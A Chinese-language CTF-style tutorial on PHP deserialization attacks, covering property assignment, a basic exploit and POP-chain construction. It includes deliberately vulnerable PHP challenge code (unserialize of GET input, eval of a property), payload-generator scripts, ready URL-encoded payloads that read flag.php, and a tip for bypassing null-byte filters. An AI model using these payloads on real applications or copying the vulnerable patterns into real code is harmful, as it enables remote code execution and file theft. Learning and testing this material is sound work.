一、属性赋值
要利用反序列化漏洞,必须向unserialize(函数传入构造的序列化数据(定义合适的属性值)
例题:
<?php
show_source( ___FILE__);
error_reporting(0);
class DEMO{
public $func;
public $arg ;
public function safe(){
echo $this->arg;
}
public function evil(){
eval($this->arg);
}
public function run(){
$this->{$this->func}();
}
function __construct(){
$this->func = 'evil';
}
}
$obj=unserialize($_GET['a']);
$obj->run();
?>
直接写序列化数据显然是不合适的,因为序列化数据不符合人类的直观感受,很容易出错。实际上,都是利用serialize(函数来生成序列化数据的。
生成步骤:
- 把题目代码复制到本地;
- 注释掉与属性无关的内容(方法和没用的代码);
- 对属性赋值;
- 输出url编码后的序列化数据:
echo(urlencode(serialize(new DEMO())));
- 将序列化数据发送到目标服务器。
进行URL编码的原因:
1.原始的序列化数据可能存在不可见字符;
2.如果不进行编码,最后输出的结果是片段的,不是全部的,会有类似截断导致结果异常,所以需要进行url编码。
对属性赋值主要有3种方法:
1.直接在属性中赋值:优点是方便,缺点是只能赋值字符串
<?php
//show_source( __FILE__);
//error_reporting(0);
class DEMO{
public $func = 'evil';
public $arg = 'phpinfo();' ;
// public function safe(){
// echo $this->arg;
// }
// public function evil(){
// eval($this->arg);
// }
// public function run(){
// $this->{$this->func}();
// }
// function __construct(){
// $this->func = 'evil';
// }
}
//$obj=unserialize($_GET['a']);
//$obj->run();
echo(urlencode(serialize(new DEMO())));
?>

2.外部赋值:优点是可以赋值任意类型的值,缺点是只能操作public属性。
小技巧:对于php7.1+的版本,反序列化对属性类型不敏感。尽管题目的类下的属性可能不是public,但是我们可以本地改成public,然后生成public的序列化字符串。由于7.1+版本的容错机制,尽管属性类型错误,php也认识,也可以反序列化成功。基于此,可以绕过诸如\0字符的过滤。
<?php
class DEMO{
public $func;
public $arg ;
}
$o = new DEMO();
$o->func = 'evil';
$o->arg = 'phpinfo();';
echo(urlencode(serialize($o)));
3.构造方法赋值(万能方法):优点是解决了上述的全部缺点,缺点是有点麻烦
<?php
class DEMO{
public $func;
public $arg ;
function __construct(){
$this->func ='evil';
$this->arg='phpinfo();';
}
}
$o= new DEMO();
echo(urlencode(serialize($o)));
二、反序列化基础利用
例子1:
<?php
class Login{
private $user ="Y1ng";
function __destruct ()
{
if ($this->user=="admin"){
echo $flag;
}
else{
echo "you are not my admin!";
exit;
}
}
}
$exp = $_GET['exp'];
unserialize (@$exp) ;
payload生成代码:
<?php
class Login{
private $user ="admin";
// function __destruct ()
// {
// if ($this->user=="admin"){
// echo $flag;
// }
// else{
// echo "you are not my admin!";
// exit;
// }
// }
}
//$exp = $_GET['exp'];
//unserialize (@$exp) ;
echo urlencode(serialize(new Login()));
三、POP链
POP链:通过代码构造出一组连续的调用链
寻找POP链的思路:
1.寻找unserialize()函数的参数是否可控;
2.寻找反序列化想要执行的目标函数,重点寻找魔术方法(比如_wakeup()和_destruct());
3.一层一层地研究目标在魔术方法中使用的属性和调用的方法,看看其中是否有我们可控的属性和方法;
4.根据我们要控制的属性,构造序列化数据,发起攻击。
例题:
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(1) ;
class Read{
public function get_file($value)
{
$text = base64_encode(file_get_contents ($value)) ;
return $text;
}
}
class Show
{
public $source;
public $var;
public $class1;
public function __construct ($name='index. php')
{
$this->source = $name ;
echo $this->source.'Welcome'."<br>";
}
public function __toString()
{
$content = $this->class1->get_file($this->var) ;
echo $content;
return $content;
}
public function _show()
{
if (preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)){
die('hacker');
}else{
highlight_file($this->source) ;
}
}
public function Change ()
{
if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i",$this->source)){
echo "hacker";
}
}
public function __get($key) {
$function=$this->$key;
$this->{$key} ();
}
}
if(isset($GET['sid']))
{
$sid=$_GET['sid'];
$config=unserialize($_GET['config']);
$config->$sid;
}
else
{
$show=newShow('index2.php');
$show->_show();
}
头:可控参数
尾:目标函数
头:$sid $config
方法一:$config=new Show $sid=__toString
方法二:$this->source = new Show
Show->__toString $this->class1=new Read $this->var='flag.php'
尾:Read->get_file
payload生成代码:
<?php
//header("Content-type:text/html;charset=utf-8");
//error_reporting(1) ;
class Read{
// public function get_file($value)
//{
// $text = base64_encode(file_get_contents ($value)) ;
// return $text;
// }
}
class Show
{
public $source;
public $var = 'flag.php';
public $class1;
//// public function __construct ($name='index. php')
//// {
//// $this->source = $name ;
//// echo $this->source.'Welcome'."<br>";
//// }
//// public function __toString()
//// {
//// $content = $this->class1->get_file($this->var) ;
//// echo $content;
//// return $content;
//// }
//// public function _show()
//// {
//// if (preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)){
//// die('hacker');
//// }else{
//// highlight_file($this->source) ;
//// }
//// }
//// public function Change ()
//// {
//// if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i",$this->source)){
//// echo "hacker";
//// }
//// }
//// public function __get($key) {
//// $function=$this->$key;
//// $this->{$key} ();
//// }
}
//if(isset($GET['sid']))
//{
// $sid=$_GET['sid'];
// $config=unserialize($_GET['config']);
// $config->$sid;
//}
//else
//{
// $show=newShow('index2.php');
// $show->_show();
$s = new Show;
$s->class1 = new Read;
echo urlencode(serialize($s));
payload:
config=O%3A4%3A%22Show%22%3A3%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22var%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A6%3A%22class1%22%3BO%3A4%3A%22Read%22%3A0%3A%7B%7D%7D&sid=__toString
payload生成代码:
<?php
//header("Content-type:text/html;charset=utf-8");
//error_reporting(1) ;
class Read{
// public function get_file($value)
//{
// $text = base64_encode(file_get_contents ($value)) ;
// return $text;
// }
}
class Show
{
public $source;
public $var = 'flag.php';
public $class1;
//// public function __construct ($name='index. php')
//// {
//// $this->source = $name ;
//// echo $this->source.'Welcome'."<br>";
//// }
//// public function __toString()
//// {
//// $content = $this->class1->get_file($this->var) ;
//// echo $content;
//// return $content;
//// }
//// public function _show()
//// {
//// if (preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)){
//// die('hacker');
//// }else{
//// highlight_file($this->source) ;
//// }
//// }
//// public function Change ()
//// {
//// if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i",$this->source)){
//// echo "hacker";
//// }
//// }
//// public function __get($key) {
//// $function=$this->$key;
//// $this->{$key} ();
//// }
}
//if(isset($GET['sid']))
//{
// $sid=$_GET['sid'];
// $config=unserialize($_GET['config']);
// $config->$sid;
//}
//else
//{
// $show=newShow('index2.php');
// $show->_show();
$s = new Show;
$s->class1 = new Read;
$s2 = new Show;
$s2->source = $s;
echo urlencode(serialize($s2));
//$s2->$s->new Read,类似于包含关系
payload:
config=O%3A4%3A%22Show%22%3A3%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A3%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22var%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A6%3A%22class1%22%3BO%3A4%3A%22Read%22%3A0%3A%7B%7D%7Ds%3A3%3A%22var%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A6%3A%22class1%22%3BN%3B%7D&sid=Change
或者sid=_show
解题思路:
1.构造利用链,就要找到头和尾。再想办法把头和尾连接起来。
2.$sid 和 $config 是用户输入可以控制的,这是利用链的头部。
3.最终目的是读取flag.php文件,就要从源代码中需要可以读文件或者执行系统命令的地方。Read->get_file 和 show->_show 可以读取文件,但是 show->_show 函数不允许出现flag。因此,Read->get_file 就是POP链的尾部。
4.如何触发 Read->get_file 呢? 搜索get_file发现,Show->_tostring 中存在代码
$content = $this->class1->get_file($this->var);
那么,只需要令
$this->class1=new Read;
$this->var='flag.php'
即可触发get_file,并得到flag.php的内容(base64编码格式)。
5.那么如何触发 show->_tostring 呢? 本题存在手动触发函数的命令 $config->$sid;,参数是用户控制的(POP链的头部),因此可以令:
$config=new Show;
$sid='__toString';